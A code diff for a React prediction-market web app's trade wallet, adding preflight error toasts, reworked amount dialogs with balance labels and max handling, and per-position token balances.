+4,12 @@ import { useMutation, useQueryClient } from "@tanstack/react-query"; import { sendTransaction } from "@wagmi/core"; import type { Address } from "viem"; +import { errorToast } from "@/utils/toast"; +import { FEE_ONLY_OUT_OF_FUNDS_COPY } from "@/utils/txErrorText"; import { wrapWithToast } from "@/utils/wrapWithToast"; import { splitTx } from "@/lib/trade-executor/positions"; +import { PreflightError } from "@/lib/trade-executor/preflightError"; import { wagmiConfig } from "@/lib/web3/wagmi"; import { DEFAULT_CHAIN_ID } from "@/config/chains"; @@ -27,13 +30,19 @@ export function useSplitFromExecutor(onSuccess?: () => void) { return useMutation({ mutationFn: (args: SplitArgs) => { - if (!router) throw new Error("There is no Seer router on this network."); + if (!router) throw new PreflightError("Mint and Merge are not available on this network."); const tx = splitTx({ ...args, router }); - return wrapWithToast(wagmiConfig, () => - sendTransaction(wagmiConfig, { to: tx.to, data: tx.data, chainId: DEFAULT_CHAIN_ID }), + return wrapWithToast( + wagmiConfig, + () => sendTransaction(wagmiConfig, { to: tx.to, data: tx.data, chainId: DEFAULT_CHAIN_ID }), + FEE_ONLY_OUT_OF_FUNDS_COPY, ); }, + // wrapWithToast reports everything from the send on + onError: (error) => { + if (error instanceof PreflightError) errorToast(error.message); + }, onSuccess: () => { onSuccess?.(); void queryClient.invalidateQueries({ queryKey: fundsKeyPrefix }); diff --git a/apps/web/src/features/trade-executor/api/withdrawFromExecutor.ts b/apps/web/src/features/trade-executor/api/withdrawFromExecutor.ts index 96ddcd61..7bca2b29 100644 --- a/apps/web/src/features/trade-executor/api/withdrawFromExecutor.ts +++ b/apps/web/src/features/trade-executor/api/withdrawFromExecutor.ts @@ -4,9 +4,12 @@ import { useMutation, useQueryClient } from "@tanstack/react-query"; import { sendTransaction } from "@wagmi/core"; import type { Address } from "viem"; +import { errorToast } from "@/utils/toast"; +import { FEE_ONLY_OUT_OF_FUNDS_COPY } from "@/utils/txErrorText"; import { wrapWithToast } from "@/utils/wrapWithToast"; import { withdrawTx } from "@/lib/trade-executor/funding"; +import { PreflightError } from "@/lib/trade-executor/preflightError"; import type { Asset } from "@/lib/trade-executor/types"; import { wagmiConfig } from "@/lib/web3/wagmi"; @@ -27,10 +30,16 @@ export function useWithdrawFromExecutor(onSuccess?: () => void) { mutationFn: (args: WithdrawArgs) => { const tx = withdrawTx(args); - return wrapWithToast(wagmiConfig, () => - sendTransaction(wagmiConfig, { to: tx.to, data: tx.data, chainId: DEFAULT_CHAIN_ID }), + return wrapWithToast( + wagmiConfig, + () => sendTransaction(wagmiConfig, { to: tx.to, data: tx.data, chainId: DEFAULT_CHAIN_ID }), + FEE_ONLY_OUT_OF_FUNDS_COPY, ); }, + // wrapWithToast reports everything from the send on + onError: (error) => { + if (error instanceof PreflightError) errorToast(error.message); + }, onSuccess: () => { onSuccess?.(); void queryClient.invalidateQueries({ queryKey: fundsKeyPrefix }); diff --git a/apps/web/src/features/trade-executor/components/TradeWallet/AmountDialog.tsx b/apps/web/src/features/trade-executor/components/TradeWallet/AmountDialog.tsx index 629fd69b..c2bc33a8 100644 --- a/apps/web/src/features/trade-executor/components/TradeWallet/AmountDialog.tsx +++ b/apps/web/src/features/trade-executor/components/TradeWallet/AmountDialog.tsx @@ -2,10 +2,11 @@ import { useState, type FormEvent } from "react"; import { Button, Form } from "@kleros/ui-components-library"; -import { parseAmount } from "@/utils/amount"; +import { Dialog } from "@/components/ui/Dialog"; + +import { OWNED_DECIMALS, ownedAmount, parseAmount } from "@/utils/amount"; import { AmountField } from "./AmountField"; -import { WalletDialog } from "./WalletDialog"; interface AmountDialogProps { isOpen: boolean; @@ -16,7 +17,12 @@ interface AmountDialogProps { available: bigint | undefined; isLoadingBalance: boolean; decimals: number; - symbol: string; + /** Left out for an amount that is not of one token. */ + symbol?: string; + /** What `available` counts, as in "Balance: 5 sDAI". */ + availableLabel?: string; + /** Said when the amount is over `available`. */ + overText?: string; onSubmit: (amount: bigint) => void; isPending: boolean; } @@ -32,6 +38,8 @@ export function AmountDialog({ isLoadingBalance, decimals, symbol, + availableLabel, + overText = "Not enough balance.", onSubmit, isPending, }: AmountDialogProps) { @@ -48,7 +56,7 @@ export function AmountDialog({ }; return ( - +
      @@ -68,6 +77,12 @@ export function AmountDialog({ isDisabled={amount === null || exceedsAvailable || isPending} /> -
      + ); } + +/** The cap is named only when it shows as more than 0. */ +export function overCap(overText: string, available: bigint, decimals: number, symbol?: string): string { + if (available < 10n ** BigInt(Math.max(decimals - OWNED_DECIMALS, 0))) return overText; + return `${overText} Max ${ownedAmount(available, decimals)}${symbol ? ` ${symbol}` : ""}.`; +} diff --git a/apps/web/src/features/trade-executor/components/TradeWallet/AmountField.tsx b/apps/web/src/features/trade-executor/components/TradeWallet/AmountField.tsx index 9d970f64..7713e49d 100644 --- a/apps/web/src/features/trade-executor/components/TradeWallet/AmountField.tsx +++ b/apps/web/src/features/trade-executor/components/TradeWallet/AmountField.tsx @@ -4,7 +4,7 @@ import { formatUnits } from "viem"; import LightButton from "@/components/ui/LightButton"; -import { formatAmount } from "@/utils/amount"; +import { cutToOwned, ownedAmount } from "@/utils/amount"; export function AmountField({ value, @@ -12,30 +12,36 @@ export function AmountField({ available, decimals, symbol, + availableLabel = "Balance", error, isLoadingBalance, isReadOnly, + maxIsExact = false, }: { value: string; onChange: (value: string) => void; available: bigint | undefined; decimals: number; - symbol: string; + /** Left out for an amount that is not of one token. */ + symbol?: string; + availableLabel?: string; error?: string; isLoadingBalance?: boolean; isReadOnly?: boolean; + /** Max takes the whole balance rather than the shown amount. */ + maxIsExact?: boolean; }) { + const max = available === undefined ? undefined : maxIsExact ? available : cutToOwned(available, decimals); const availableText = isLoadingBalance - ? "Loading…" + ? "Reading balance…" : // a balance we could not read must not read as an empty one available === undefined - ? "Balance unavailable" - : `Available: ${formatAmount(available, decimals)} ${symbol}`; + ? "Could not read balance" + : `${availableLabel}: ${ownedAmount(available, decimals)}${symbol ? ` ${symbol}` : ""}`; return (
      onChange(entered.toFixed())} isReadOnly={isReadOnly} - className="w-full" + className={clsx( + // Max sits at the right end of the message row; the library justifies it, which spaces out a wrapped line + "w-full tabular-nums [&>div:last-child]:pr-10 [&>div:last-child]:text-left", + // two lines held on a phone, where an over-balance line wraps, so the dialog keeps its height + "max-sm:[&>div:last-child]:min-h-10 max-sm:[&>div:last-child]:items-start", + )} /> available !== undefined && onChange(formatUnits(available, decimals))} + isDisabled={isReadOnly || max === undefined || max === 0n} + onPress={() => max !== undefined && onChange(formatUnits(max, decimals))} className={clsx( - "absolute -right-1 -bottom-1 px-1 py-0.5", + "absolute -right-1 -bottom-1 px-1 py-0.5 max-sm:bottom-4", "[&_.button-text]:text-fs-accent [&_.button-text]:text-sm", )} /> diff --git a/apps/web/src/features/trade-executor/components/TradeWallet/OptionBalances.tsx b/apps/web/src/features/trade-executor/components/TradeWallet/OptionBalances.tsx index aa42b5b9..026f91b8 100644 --- a/apps/web/src/features/trade-executor/components/TradeWallet/OptionBalances.tsx +++ b/apps/web/src/features/trade-executor/components/TradeWallet/OptionBalances.tsx @@ -1,71 +1,105 @@ -import { CustomAccordion, Tooltip } from "@kleros/ui-components-library"; +import { Tooltip } from "@kleros/ui-components-library"; import clsx from "clsx"; +import type { Address } from "viem"; -import { formatAmount } from "@/utils/amount"; +import WithHelpTooltip from "@/components/ui/WithHelpTooltip"; + +import { formatDisplayAmount } from "@/utils/amount"; import type { TradeWalletOption } from "../../types"; +/** The market page's position row shows holdings at 2 decimals too; the full amount is in each title. */ +const SHOWN_DIGITS = 2; + /** - * What the wallet holds of each outcome's token. + * What the wallet holds of each outcome's token, and of the UP and DOWN beneath it. */ export function OptionBalances({ options, balances, + positions, noun, decimals, }: { options: TradeWalletOption[]; /** Aligned with `options`; undefined until the reads land. */ balances: bigint[] | undefined; + /** Balance per position token; undefined until the read lands. */ + positions: ReadonlyMap | undefined; + /** Singular, as in "movie tokens". */ noun: string; decimals: number; }) { if (options.length === 0) return null; return ( - {noun} tokens, - body: ( -
      - {options.map((option, index) => ( - - ))} -
      - ), - }, - ]} - /> +
      + +

      {noun} tokens

      +
      +
      + {options.map((option, index) => ( + + ))} +
      +
      ); } function OptionBalance({ option, balance, + positions, decimals, }: { option: TradeWalletOption; balance: bigint | undefined; + positions: ReadonlyMap | undefined; decimals: number; }) { return ( -
      - - {balance === undefined ? "—" : formatAmount(balance, decimals)} - - - - {option.name} - +
      +
      + + {balance === undefined ? "—" : formatDisplayAmount(balance, decimals, SHOWN_DIGITS)} + + + {/* the Tooltip's trigger div is the flex child, so it takes the min-w-0; an inline span cannot truncate */} + + {option.name} + +
      + {option.positions.length > 0 ? ( +
        + {option.positions.map(({ side, token }) => { + const held = positions?.get(token); + return ( +
      • + {side}{" "} + + {held === undefined ? "—" : formatDisplayAmount(held, decimals, SHOWN_DIGITS)} + +
      • + ); + })} +
      + ) : null}
      ); } diff --git a/apps/web/src/features/trade-executor/components/TradeWallet/TokenAmountField.tsx b/apps/web/src/features/trade-executor/components/TradeWallet/TokenAmountField.tsx index 21dcb033..9c7d2b55 100644 --- a/apps/web/src/features/trade-executor/components/TradeWallet/TokenAmountField.tsx +++ b/apps/web/src/features/trade-executor/components/TradeWallet/TokenAmountField.tsx @@ -7,7 +7,7 @@ import { Select } from "@/components/ui/Select"; import DaiIcon from "@/assets/svg/dai.svg"; -import { formatAmount } from "@/utils/amount"; +import { cutToOwned, ownedAmount } from "@/utils/amount"; export interface TokenChoice { id: string; @@ -26,6 +26,7 @@ export function TokenAmountField({ error, isLoadingBalance, isReadOnly, + maxIsExact = false, }: { value: string; onChange: (value: string) => void; @@ -37,15 +38,20 @@ export function TokenAmountField({ error?: string; isLoadingBalance?: boolean; isReadOnly?: boolean; + /** Max takes the whole balance rather than the shown amount. */ + maxIsExact?: boolean; }) { + const max = available === undefined ? undefined : maxIsExact ? available : cutToOwned(available, decimals); + const symbol = tokens.find((token) => token.id === selected)?.symbol ?? ""; + return (
      label]:sr-only", "[&_input]:rounded-r-none [&_input]:border-none [&_input]:focus:shadow-none", )} onChange={(entered) => onChange(entered.toFixed())} @@ -76,20 +82,20 @@ export function TokenAmountField({ available !== undefined && onChange(formatUnits(available, decimals))} + isDisabled={isReadOnly || max === undefined || max === 0n} + onPress={() => max !== undefined && onChange(formatUnits(max, decimals))} className={clsx("absolute -right-1 px-1 py-0.5", "[&_.button-text]:text-fs-accent [&_.button-text]:text-sm")} /> {error ? ( {error} ) : ( - + {isLoadingBalance - ? "Loading…" + ? "Reading balance…" : // a balance we could not read must not read as an empty one available === undefined - ? "Balance unavailable" - : `Available: ${formatAmount(available, decimals)}`} + ? "Could not read balance" + : `Balance: ${ownedAmount(available, decimals)} ${symbol}`} )}
      diff --git a/apps/web/src/features/trade-executor/components/TradeWallet/TradeWallet.tsx b/apps/web/src/features/trade-executor/components/TradeWallet/TradeWallet.tsx index d1d59424..d03b332a 100644 --- a/apps/web/src/features/trade-executor/components/TradeWallet/TradeWallet.tsx +++ b/apps/web/src/features/trade-executor/components/TradeWallet/TradeWallet.tsx @@ -1,24 +1,23 @@ -import { useState } from "react"; +import { useId, useState } from "react"; import { Button } from "@kleros/ui-components-library"; import clsx from "clsx"; import { useAccount } from "wagmi"; -import { SectionCard } from "@/components/ui/SectionCard"; -import { Select } from "@/components/ui/Select"; import WithHelpTooltip from "@/components/ui/WithHelpTooltip"; -import WalletIcon from "@/assets/svg/wallet.svg"; - import { shortenAddress } from "@/utils/address"; -import { formatAmount } from "@/utils/amount"; +import { ownedAmount } from "@/utils/amount"; + +import { TradeWalletMismatchError } from "@/lib/trade-executor/executor"; import { DEFAULT_CHAIN_ID } from "@/config/chains"; -import { gnosisRouterAddress, sDaiDepositRoute } from "@/config/contracts"; +import { creditsContracts, creditsRoute, gnosisRouterAddress, sDaiDepositRoute } from "@/config/contracts"; import { explorerAddressUrl } from "@/config/site"; import { AmountDialog } from "./AmountDialog"; import { OptionBalances } from "./OptionBalances"; +import { TRADE_WALLET_CARD } from "./tradeWalletCard"; import { TradeWalletSkeleton } from "./TradeWalletSkeleton"; import { TransferDialog } from "./TransferDialog"; import { useDepositToExecutor } from "../../api/depositToExecutor"; @@ -32,17 +31,21 @@ import type { TradeWalletMarket } from "../../types"; type OpenDialog = "deposit" | "withdraw" | "mint" | "merge" | null; -const ADVANCED = [ - { id: "mint", text: "Mint" }, - { id: "merge", text: "Merge" }, -]; - /** - * The connected account's executor, shown once it exists on chain: its collateral and outcome - * balances for this parent market, and the actions that move value in, out, and between them. + * The connected account's executor, shown once it exists on chain, as one row: its collateral + * balance, Deposit and Withdraw, and behind Balances its outcome balances with Mint and Merge. */ -export function TradeWallet({ market, noun }: { market: TradeWalletMarket; noun: string }) { +export function TradeWallet({ + market, + noun, +}: { + market: TradeWalletMarket; + /** Singular, as in "movie tokens". */ + noun: string; +}) { const [dialog, setDialog] = useState(null); + const [showBalances, setShowBalances] = useState(false); + const balancesId = useId(); const close = () => setDialog(null); const { address: owner, chain, chainId } = useAccount(); @@ -54,6 +57,18 @@ export function TradeWallet({ market, noun }: { market: TradeWalletMarket; noun: // INVALID rides along because a merge burns it too, so it bounds the amount like the rest const outcomeTokens = [...options.map((option) => option.token), invalidToken]; const balances = useTokenBalances(deployed ?? undefined, outcomeTokens); + const positionTokens = options.flatMap((option) => option.positions.map((position) => position.token)); + const positionBalances = useTokenBalances(deployed ?? undefined, positionTokens); + const held = positionBalances.data; + const heldByToken = held && new Map(positionTokens.map((token, index) => [token, held[index]])); + + const creditsToken = creditsContracts(DEFAULT_CHAIN_ID)?.credits; + // the credits swap pays WXDAI and splits only its floor, so the rest waits here to be withdrawn + const wxdai = creditsRoute(collateral.address, DEFAULT_CHAIN_ID)?.wxdai; + const withdrawable = [ + ...(creditsToken ? [{ address: creditsToken, symbol: "credits" }] : []), + ...(wxdai ? [{ address: wxdai, symbol: "WXDAI" }] : []), + ]; const deposit = useDepositToExecutor(close); const withdraw = useWithdrawFromExecutor(close); @@ -63,6 +78,14 @@ export function TradeWallet({ market, noun }: { market: TradeWalletMarket; noun: // reads all go to DEFAULT_CHAIN, so a wallet on another one would be shown someone else's balances if (!owner || chainId !== DEFAULT_CHAIN_ID) return null; if (executor.isPending) return ; + if (executor.error instanceof TradeWalletMismatchError) { + return ( +
      +

      Trade wallet

      +

      {executor.error.message}

      +
      + ); + } // the predict flow is what creates it; until then there is nothing to show if (!deployed) return null; @@ -78,81 +101,85 @@ export function TradeWallet({ market, noun }: { market: TradeWalletMarket; noun: return ( <> - -
      -
      -
      -
      - - -

      Trade wallet

      -
      -
      - {explorer ? ( - - {shortenAddress(deployed)} - - ) : ( - {shortenAddress(deployed)} - )} -
      - -
      -